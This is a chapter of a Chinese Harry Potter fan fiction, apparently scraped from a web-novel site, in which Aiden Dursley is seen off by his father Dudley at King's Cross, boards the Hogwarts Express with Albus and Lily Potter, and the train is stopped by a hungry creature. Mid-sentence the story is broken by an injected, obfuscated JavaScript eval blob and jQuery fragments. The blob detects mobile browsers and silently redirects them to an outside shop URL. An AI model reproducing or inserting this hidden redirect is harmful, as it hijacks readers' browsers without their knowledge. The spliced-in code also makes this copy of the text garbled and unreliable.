默认冷灰
24号文字
方正启体

4. 第四章 九又四分之三站台

作者:墨菲斯2099本书字数:K更新时间:
    第四章九又四分之三站台


    女贞路4号客厅的壁炉上方,挂钟的滴答声在八月最后的夜晚变得异常响亮。


    艾登躺在床上,盯着天花板。


    行李箱已经收拾好——黑色皮箱,二手店买的,达力用砂纸磨掉了前主人的名字缩写,又亲手用黑色记号笔描了“A.D.”。


    里面整齐叠放着三套黑色长袍、一打衬衫、几件毛衣、还有佩妮缝制的那些内衣,领口内侧的几何图案在黑暗中发出微弱的银光。


    魔杖放在枕头下。


    艾登整夜都能感觉到它的脉动,像一颗沉睡的心脏,每隔十七秒轻轻震颤一次。


    西奥的笼子立在书桌上,猫头鹰琥珀色的眼睛在夜色中像两盏小灯,它偶尔转动脑袋,羽毛摩擦发出沙沙声。


    楼下传来脚步声。


    不是达力平常沉重的踱步,而是缓慢的、犹豫的步伐,从客厅走到厨房,停顿,再走回来。


    艾登数着:第十七趟时,脚步声停在楼梯口。


    又一段漫长的沉默,然后楼梯吱呀作响——达力上来了。


    艾登闭上眼睛,假装睡着。


    门被轻轻推开,门轴发出细小的呻吟。达力站在门口,呼吸粗重。


    艾登透过睫毛看见父亲模糊的轮廓:他穿着旧睡衣,手里拿着什么东西,在月光下微微反光。


    一分钟后,达力退出去,轻轻带上门。


    艾登睁开眼,坐起来。


    床头柜上多了一个东西:那枚1979年的五十便士硬币,边缘刻着“D+P”。但旁边还有另一样——佩妮留给他的那根羽毛,棕褐色带金斑,此刻被小心地装进一个透明的小玻璃管里,用软木塞封着。


    玻璃管下面压着一张便条:


    戴在脖子上。别问为什么。


    字迹是达力的,潦草、笨拙,每个字母都像用尽全力刻出来的。


    艾登拿起玻璃管。


    羽毛在管内发出温暖的光,金色斑点缓慢旋转,像微型的星系。


    他找到一根旧皮绳,把玻璃管穿上,戴在脖子上。


    羽毛贴近皮肤的瞬间,那种温暖的脉动与魔杖的震颤同步了——十七秒一次,精确得像钟摆。


    窗外的天空开始泛白。


    早餐是达力做的:煎糊的鸡蛋,烤焦的面包,煮过头的茶。


    两人隔着厨房餐桌沉默地吃着,刀叉碰撞瓷盘的声音异常刺耳。


    电视开着,早间新闻在报道苏格兰某地的异常天气现象——“霍格莫德村附近出现罕见极光,气象学家无法解释。”


    “要下雨,”达力突然说,眼睛盯着窗外灰蒙蒙的天空,“带上雨衣。行李箱侧袋。”


    “好。”


    又是一阵沉默。达力喝了一口茶,烫得皱眉,但没说话。


    “爸爸,”艾登放下叉子,“那个木盒……你打开了吗?”


    达力的手指收紧,茶杯在掌心发出轻微的咯吱声。“打开了,”他最终说,声音平淡得像在报告天气,“是你奶奶的东西。一些……旧照片。她的日记。还有这个。”


    他从睡衣口袋掏出一个小物件,放在桌上。


    那是一枚银色的胸针,形状是一朵百合花,花瓣上镶着细小的珍珠,已经微微发黄。


    “她结婚那天戴的,”达力盯着胸针,“我从来没见过。她一定是……藏起来了。”


    “为什么?”


    达力抬起头,眼睛里有艾登从未见过的神情——不是愤怒,不是恐惧,而是一种深沉的、几乎令人心碎的困惑。


    “因为她嫁给了一个讨厌魔法的人,”他轻声说,“因为她选择成为佩妮·德思礼,而不是佩妮·伊万斯。这枚胸针……是莉莉送给她的结婚礼物。麻瓜不可能做出这种珍珠——它们会自己调节光泽,永远明亮。”


    他拿起胸针,指尖抚过花瓣:“我爸爸一定不知道这是什么。如果他知道,会让她扔掉。所以她藏起来,藏了一辈子。”


    窗外传来鸟鸣。西奥在楼上的笼子里回应了一声,低沉而柔和。


    “时间到了,”达力站起来,动作有些僵硬,“火车11点开。伦敦的交通……你知道的。”


    他们像执行某种仪式般准备出发:达力换上最好的西装(同一件,熨烫过了),艾登穿上麻瓜衣服——牛仔裤、衬衫、毛衣——外面套着黑色长袍感觉很奇怪,像穿着万圣节服装去上学。


    行李箱很重,达力坚持要自己提下楼,尽管他下台阶时气喘吁吁,额头上渗出汗水。


    “猫头鹰笼子给我,”艾登说。


    “不,我可以——”


    “给我。”


    达力犹豫了一下,把西奥的笼子递过去。


    猫头鹰安静地看着他们,琥珀色的眼睛一眨不眨。


    车程漫长而沉默。M25高速公路上车流如织,达力紧握方向盘,指节发白。


    收音机调到了古典音乐频道,但声音开得很低,柴可夫斯基的弦乐像背景里呜咽的风。


    艾登看着窗外飞逝的风景:郊区的房子,工业区的仓库,农田,更多的房子。


    他想,这些地方下面有没有隐藏着更多的破釜酒吧?更多的对角巷?麻瓜世界和魔法世界像两幅叠加的透明画,大多数人只能看见其中一幅。


    “我查过了,”达力突然说,眼睛盯着路面,“国王十字车站。9号和10站台之间。网上有人说那里什么都没有,只是一堵墙。也有人说……他们看见人消失。”


    “哈利说——”


    “我知道哈利说了什么。”达力打断他,但没有愤怒,“我只是……我需要确认。昨晚我去了。”


    艾登转过头:“什么?”


    “凌晨三点,”达力声音平静,“我开车去了伦敦。车站那时候只有清洁工和流浪汉。我走到9号和10站台之间,站在那里,盯着那堵墙看了二十分钟。”


    他的喉咙滚动了一下。


    “什么也没发生。当然,什么也没发生。我只是个麻瓜,一个肥胖的、中年的、穿西装的麻瓜,站在一堵砖墙前像个疯子。但然后……清洁工推着车过来。一个老头,牙齿都快掉光了。


    他看着我说:‘第一次送孩子?’”


    艾登屏住呼吸。


    “我说:‘你怎么知道?’他笑了,露出缺牙的牙龈:‘你们这些人,都一个表情。既希望它是真的,又希望它是假的。’然后他推着车走了,一边走一边哼歌。调子很奇怪……我后来才想起来,是你奶奶有时会哼的曲子。”


    达力伸手关掉了收音机。车内突然寂静,只有引擎的嗡鸣和轮胎摩擦路面的声音。


    “我想,”他缓慢地说,像每个字都需要从深处挖掘出来,“我想你奶奶可能……回去过。在她还年轻的时候。回去看过那堵墙。也许她试过穿过去,也许她只是站在那里。我不知道。我永远不会知道了。”


    他转过头,飞快地瞥了艾登一眼。


    “但你会知道。你会穿过那堵墙,去到另一边。而我会站在这里,看着墙,永远不知道墙后面有什么。”


    “你可以一起来,”艾登说,尽管他知道答案。


    达力摇了摇头,笑容苦涩:“不。那是你的世界,不是我的。我的世界在这里:红绿灯,税务报表,超市特价,还有假装一切正常直到你真的相信它正常。”


    他指了指后视镜上挂着的平安符,那是佩妮很多年前从教堂拿回来的,塑料已经开裂。


    “这就是我能给你的全部了,”他说,“一个站在墙这边等你回来的父亲。”


    艾登看向窗外,因为眼泪突然涌上来,而他不想让父亲看见。他想起佩妮信里的话:原谅他需要时间,也原谅我从未有勇气告诉他真相。


    车子驶入伦敦时,开始下雨。不是瓢泼大雨,而是细密的、持续的雨丝,在车窗上划出无数道交织的水痕。


    城市在雨幕中变得模糊,像一幅未完成的油画。


    国王十字车站比艾登想象中更大、更嘈杂。


    空气里混合着柴油、咖啡、湿羊毛和上百种香水的气味。


    广播在播报到站和发车信息,声音在巨大的穹顶下回荡。


    人们拖着行李箱奔跑,拥抱,告别,哭泣,大笑。


    小孩在哭闹,情侣在争吵,商人在打电话。一切都在运动,都在声音,都在生活。


    达力停好车,两人拖着行李走进车站。


    艾登穿着黑色长袍——现在他明白为什么巫师在麻瓜世界要穿长袍了,因为在这样混乱的人群中,他看起来就像一个古怪的戏剧学生,没人多看他一眼。西奥的笼子被一块布盖着,这是哈利的建议:“麻瓜会觉得里面是宠物鹦鹉,别掀开布。”


    他们找到了9号和10站台。


    在两座维多利亚式的铸铁站台拱门之间,确实只有一堵普通的砖墙。墙前放着几盆半死不活的绿植,一张长椅上坐着个打瞌睡的老妇人,脚边堆着购物袋。一切正常得令人失望。


    “现在怎么办?”达力低声问,眼睛扫视周围,像在寻找隐藏的摄像机。


    艾登没说话。他在观察。


    他看见一个红头发家庭——至少有六个孩子,都长着雀斑,吵吵嚷嚷地推着堆满箱子的手推车。


    母亲(头发也是红色,但已经开始灰白)正试图阻止双胞胎把巧克力蛙塞进婴儿车里。他们径直走向9号和10站台之间的墙,没有减速。


    然后他们消失了。


    不是“噗”的一声消失,而是像走入浓雾般逐渐隐去。


    首先是手推车的前轮接触墙壁,接着是整个手推车,然后是推车的人。


    最后一个红头发男孩——看起来和艾登差不多大——在消失前回头看了一眼,正好与艾登视线相遇。


    他眨了眨眼,咧嘴一笑,竖起大拇指,然后他也融入了砖墙。


    “你看见——”达力声音发紧。


    “看见了。”


    接下来是一对优雅的亚洲夫妇,穿着剪裁完美的长袍,推着一个静音悬浮的行李箱(麻瓜们似乎都绕开了它)。他们平静地走向墙壁,像走向一扇普通的门,消失了。


    然后是一个独行的女孩,深色卷发,抱着一本厚得可怕的书。她在墙前停顿了一下,深吸一口气,闭上眼睛走了进去。


    “就这样?”达力说,听起来既失望又释然,“就这样走进去?”


    “看起来是的。”


    更多的巫师家庭出现了。艾登开始认出一些特征:过于华丽的羽毛饰品(会自己整理羽毛),颜色不可能自然存在的头发(一个女人的头发从发根到发梢逐渐从紫色过渡到金色),还有宠物——不只有猫头鹰,还有装在玻璃球里的微型火龙(喷出真实的、但微小的火焰),一只会隐形的猫(只在舔爪子时显形片刻)。


    “该你了,”达力说,声音突然变得异常平静。


    艾登转向父亲。达力站在那儿,西装被雨浸湿了肩膀,头发贴在额头上,手里紧握着车钥匙。他的眼睛看着艾登,又似乎透过艾登,看着某个更远的东西。


    “爸爸——”


    “不,”达力摇头,“别说。什么也别说。”


    他把手伸进口袋,掏出那枚五十便士硬币,塞进艾登手里:“给你。万一……万一他们的货币不好用。”


    硬币很凉,但艾登握紧它时,感觉到金属迅速吸收了体温,变得温暖。


    达力又拿出一个东西:一个廉价的塑料相机,旅游纪念品那种。


    “你妈妈买的,”他简短地说,“从来没好好用过。我想……拍张照。在墙前。”


    艾登点点头。达力把相机递给一个路过的大学生模样的人:“能帮我们拍张照吗?就在这里。”


    大学生接过相机,疑惑地看了看背景(一堵砖墙):“这里?”


    “对,就这里。”


    达力走到艾登身边,手臂僵硬地环住他的肩膀。艾登感觉到父亲在颤抖——不是恐惧的颤抖,而是某种更深的、内在的震颤,像一座建筑在地基深处发生的震动。


    “一、二、三——”


    闪光灯亮了。那一刻,艾登看见相机镜头反射出他们身后的墙:在那一瞬间的强光中,砖墙变得透明,他能看见墙后面的景象——一个拥挤的站台,蒸汽火车喷出白色烟雾,无数人影在移动,猫头鹰在飞。


    然后闪光熄灭,墙又变回了砖墙。


    “谢谢,”达力拿回相机,声音粗哑。大学生困惑地走开了,边走边回头看那堵墙。


    现在真的没有理由再拖延了。


    艾登调整了一下肩上的背包,左手推着行李箱,右手提着西奥的笼子。他走向墙壁,步伐不快不慢。他想起哈利的话:“表现得像你属于那儿,你就属于那儿。”


    离墙还有五米。


    他能看见砖块上的每一道裂缝,每一片苔藓,每一处风化的痕迹。


    三米。


    他听见身后达力压抑的呼吸声。


    两米。


    他握紧行李箱把手,手心的汗水让皮革变得湿滑。


    一米。


    他闭上眼睛。


    不是出于恐惧,而是他想用佩妮教的方式观察:不只用眼睛,用皮肤,用骨头,用血液里的那些针。


    在眼皮的黑暗中,他“看见”了墙的频率。


    那是砖石的低语,石灰砂浆的呼吸,百年积尘的沉睡。


    但在这之下,更深的地方,有一条裂缝——不是物理的裂缝,是现实本身的裂缝。


    它以一种特定的节奏脉动:短-长-短-短-长。


    和他敲开阁楼砖块的节奏一样。


    佩妮的节奏。


    艾登迈出最后一步。


    撞击的瞬间,他没有感觉到坚硬的砖石,而是穿过了一层温暖致密的介质,像潜入温水深处。


    压力从四面八方涌来,包裹他的身体,挤压他的肺。他听见声音——不是外界的声音,是身体内部的声音:血液在耳中冲刷,心脏在胸腔里擂鼓,骨头在轻微作响。


    然后压力消失。


    他睁开眼。


    九又四分之三站台。


    首先涌入感官的是声音:蒸汽火车头低沉的嘶鸣,人群嘈杂的交谈,猫头鹰此起彼伏的鸣叫,还有远处某个地方传来魔法收音机的音乐——古怪的、用古怪乐器演奏的爵士乐。


    然后是气味:煤炭燃烧的烟味,新鲜油漆,糕点店的甜香,以及那种独特的、只有魔法大量聚集时才会产生的臭氧味。


    站台拥挤得不可思议。


    成百上千的巫师,穿着各色长袍,有些款式古老得像是从中世纪油画里走出来的。孩子们拖着行李箱奔跑,宠物到处乱窜(一只嗅嗅正试图钻进一位女巫的手提包,被她用魔杖轻轻敲了敲鼻子)。


    家长们站在车厢旁,做着最后的叮嘱。


    火车本身是深红色的,车身上用金色字体写着“霍格沃茨特快”。蒸汽从车头喷出,在站台顶棚下凝聚成翻滚的云。车窗里已经能看到学生的面孔,有些兴奋地挥手,有些忧郁地看着窗外。


    艾登站着,呼吸着这个新世界的空气。他的皮肤在嗡鸣——不是针的感觉,而是整个表面都在轻微震动,像在响应周围密集的魔法能量。脖子上的羽毛玻璃管变得温暖,魔杖在背包里脉动。


    “嘿!小心!”


    一个身影撞上他的肩膀,差点把他撞倒。


    是个红头发女孩——和刚才消失的那个家庭中的某个孩子很像,但年龄大些,大概十三四岁。她扶住他,咧嘴笑了,露出牙齿矫正器。


    “抱歉!我弟弟的蒲绒绒跑了,我在追——哦,你是一年级新生?”


    艾登点点头,还无法说话。


    “别紧张,”女孩拍拍他的肩,力气大得让他踉跄了一下,“霍格沃茨很棒。我是露西·韦斯莱,二年级。你是……等等,你看起来有点眼熟。”


    她的眼睛盯着他的脸,然后突然睁大:“你不是——哈利·波特的孩子,对吧?但阿不思我认识,莉莉才一年级,詹姆斯已经——”


    “我是他表侄,”艾登终于找到声音,“艾登·德思礼。”


    “德思礼?”露西重复,然后恍然大悟,“哦!你是达力的儿子!我奶奶提起过——她说达力叔叔小时候差点被变成猪——呃,抱歉,不该说这个。”


    她脸红了,但笑容没减:“总之,欢迎!车厢快满了,你最好快点上车。看,那边还有空位——”


    她指向列车中部的一节车厢,窗口有个戴眼镜的男孩正在看书。


    “谢谢,”艾登说。


    “不客气!也许我们会分到同一个学院——我是格兰芬多,最好的学院!不过赫奇帕奇和拉文克劳也不错。斯莱特林……嗯,现在比以前好多了,真的。”


    她挥手跑开,继续追那只逃跑的蒲绒绒(一种毛茸茸的、圆球状的生物,正滚向零食车)。


    艾登推着行李箱走向火车。轮子在鹅卵石上颠簸。


    经过一群斯莱特林学生时(他能从银绿色围巾认出来),他们停下来交谈,其中一个高个子男孩瞥了他一眼,眼神评估,然后转回去继续说话。


    在车厢门口,一个穿深蓝色长袍的男巫正在检查票:“车票,请。”


    艾登在口袋里摸索


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033031|194565||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,找到哈利寄来的那张泛黄的羊皮纸车票。


    男巫看了一眼,点点头:“新生?行李放车厢末端,宠物可以带进车厢。


    注意,如果猫头鹰排泄在座位上,清理咒念清楚点,否则可能把整个座位变没。”


    车厢内部比外面看起来更宽敞。深红色的天鹅绒座椅,木质镶板,铜质灯具发出柔和的光。


    空气中混合着皮革、木蜡和旧书的味道。艾登找到露西指的那节车厢——窗口的男孩还坐在那儿,但现在他没在看书,而是看着站台,表情有些忧郁。


    艾登敲了敲开着的门。


    男孩转过头。他瘦削,黑发,戴着圆眼镜,但眼镜款式比哈利的现代。最引人注目的是他的眼睛——明亮的绿色,和哈利一模一样。


    但眼神不同:哈利的眼神是警觉的、随时准备战斗的;


    这男孩的眼神是好奇的、带着些许不安的。


    “嗨,”男孩说,“这里没人,你可以坐。”


    艾登把行李箱推进行李架,西奥的笼子放在座位上。他在男孩对面坐下。


    “我叫艾登,”他说。


    男孩点点头:“阿不思·西弗勒斯·波特。”


    沉默。蒸汽火车鸣笛,尖锐的声音划过站台。列车轻轻震动,准备出发。


    “我知道你是谁,”阿不思突然说,眼睛看着窗外的站台,没有看艾登,“爸爸告诉我你会来。他说……他说你爸爸是他表哥。”


    “是的。”


    “他说你们很多年没见了。”


    “是的。”


    又是一阵沉默。阿不思的手指在膝盖上敲打,节奏不规则。


    “我爸爸也很多年没见他,”阿不思说,声音很轻,“他说每次想到你爸爸,就想起他小时候。他说……那不是很愉快的回忆。”


    艾登不知道该怎么回答。他看向窗外,站台上,家长们在做最后的告别。一个红头发女人(一定是阿不思的母亲金妮)正蹲着对一个红发小女孩说话,为她整理围巾。哈利站在旁边,手搭在另一个男孩肩上(那一定是詹姆斯)。他们在笑。


    然后哈利抬起头,目光穿过人群,找到了这节车厢。他看见艾登,点点头。然后他的目光转向阿不思,表情变得柔和,挥了挥手。


    阿不思没有挥手回应。他只是看着父亲,然后转开视线。


    “有时候,”阿不思说,声音轻得几乎被站台的喧嚣淹没,“我觉得我爸爸希望我能更像他。勇敢,出名,被所有人认识。但我不想。我只想……安静地读完七年书,不要发生任何大事。”


    列车猛地一抖,开始缓慢移动。站台向后滑去。


    家长们挥着手,一些年幼的弟妹在哭。艾登看见达力——他还在墙的那一边吗?还是已经回到车上,在雨中开车回家?他会打开那个木盒吗?会看佩妮的日记吗?会明白母亲曾是怎样的一个人吗?


    阿不思也看着窗外,但他的目光没有焦点。


    “你会被分到哪个学院?”艾登问,只是为了打破沉默。


    “不知道,”阿不思说,“我爸爸是格兰芬多,妈妈也是。我哥哥詹姆斯也是。所有人都觉得我也会是。但……”


    他没说完。


    列车加速,驶出车站,进入伦敦郊区的景色。雨还在下,在车窗上划出斜斜的水痕。城市逐渐被田野取代。


    “你害怕吗?”阿不思突然问。


    艾登想了想:“是的。但不是怕魔法。是怕……不知道该怎么成为我自己。”


    阿不思看着他,绿色的眼睛在镜片后显得很大。然后他微微笑了——这是艾登第一次看到他真正的微笑,有些害羞,但真实。


    “我也是,”他说。


    他们安静地坐着,听着车轮在铁轨上有节奏的撞击声。西奥在笼子里动了动,发出轻柔的咕咕声。艾登把手伸进口袋,摸到那枚五十便士硬币。金属已经变得温暖,像握着一小块阳光。


    车厢门滑开,一个红发女孩探进头来——莉莉·卢娜·波特,眼睛和哈利一样绿,但眼神完全不同:明亮、好奇、毫无保留。


    “阿不思!妈妈说让我找到你——”她看见艾登,停下来,“哦,嗨!你是新生吗?我是莉莉。你叫什么?”


    “艾登。”


    “艾登,”她重复,走进车厢,毫不客气地在阿不思旁边坐下,“你看起来有点眼熟。我们见过吗?”


    “我是你爸爸的表侄。”


    莉莉睁大眼睛:“哦!你就是达力表伯的儿子!爸爸说你可能会来。你被分到哪个学院了?”


    “还没分院。”


    “噢,对,火车上还没分呢,”莉莉笑了,声音清脆,“我希望是格兰芬多,但妈妈说拉文克劳也不错。爸爸说去哪里都好,只要不是斯莱特林——他是开玩笑的,我觉得。”


    阿不思看了她一眼,没说话。


    莉莉转向艾登,身体前倾:“你爸爸真的是麻瓜吗?完全的麻瓜?”


    “莉莉,”阿不思警告道。


    “怎么了?我只是好奇!”


    “是的,”艾登说,“他是麻瓜。”


    “哇,”莉莉说,没有恶意,只有纯粹的好奇,“那第一次看到魔法是什么感觉?是不是超级震惊?我三岁就看到爸爸用魔法修玩具,所以我觉得很正常,但我想对于麻瓜来说一定很——”


    火车突然剧烈颠簸。灯光闪烁了一下。远处传来一声闷响,像什么东西重重撞在车身上。


    “怎么回事?”莉莉站起来。


    阿不思走到窗边,擦掉玻璃上的雾气,向外看:“不知道。外面很黑,雨太大了。”


    又是一次颠簸,这次更猛烈。


    行李箱从行李架上滑落,西奥的笼子翻倒,猫头鹰发出惊恐的叫声。远处车厢传来尖叫。


    然后灯光全灭了。


    黑暗笼罩了车厢,只有窗外偶尔闪过的路灯投来短暂的光影。雨点疯狂敲打车窗,风声呼啸。


    “呆在这里,”阿不思说,声音紧绷。他抽出魔杖——艾登第一次看见他的魔杖,深色,简单——“Lumos.”


    魔杖尖端亮起稳定的白光,照亮了车厢。三个人的脸在光影中显得苍白。


    走廊里传来奔跑的脚步声,有人在大声下达指令。列车还在前进,但速度明显慢了下来。


    “是摄魂怪吗?”莉莉小声问,抓住阿不思的袖子。


    “摄魂怪很多年前就被撤走了,”阿不思说,但声音不确定,“可能是天气原因。或者……”


    他没说完。但艾登知道他在想什么:或者是一些不应该在这里的东西。


    艾登的手伸向背包,握住自己的魔杖。木头温暖地回应他的触碰。他脖子上的羽毛玻璃管变得异常温热,几乎烫人。


    列车完全停下了。


    在绝对的寂静中,只有雨声和风声。然后,从很远的地方,传来一声悠长的、非人的嚎叫。


    那不是动物的声音。


    也不是人类的声音。


    那是某种古老的东西,某种在魔法诞生之前就存在的东西,某种观察着、等待着、从不忘记的东西。


    嚎叫声再次响起,这次更近了。


    阿不思的魔杖光在颤抖。


    莉莉的呼吸变得急促。


    艾登握紧魔杖,感觉到冷杉木内部的独角兽毛在搏动,急促而警觉。


    保护者不需要锋芒毕露,只需要站稳脚跟。


    他站起来,走到车厢门前,向外看去。


    走廊里一片漆黑,只有远处几处魔杖的光点在摇晃。


    学生们挤在车厢里,低声交谈,声音里充满恐惧。


    然后,在列车最前端的某处,一道银白色的光芒炸开——那是守护神咒,艾登凭直觉知道。


    光芒短暂地照亮了整个列车:他看见学生们惊恐的脸,看见飘浮在空中的行李箱,看见车厢壁上突然出现的冰霜。


    光芒熄灭。


    嚎叫声变成了低沉的、满足的咕噜声,就在他们这节车厢外面。


    有什么东西在敲打车窗。


    不是雨点。


    是指甲。


    或者说,像指甲的东西。


    缓慢地,一下,一下,刮擦着玻璃。


    艾登转过身,面对阿不思和莉莉,魔杖在手,心脏狂跳,但声音异常平静:


    “不管外面是什么,别开门。别开窗。别回应。”


    车窗外,那个东西停在了他们的窗前。


    在下一道闪电的光芒中,艾登看见了它的一只眼睛。


    黄色,竖瞳,充满饥饿。


    然后黑暗重新降临。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)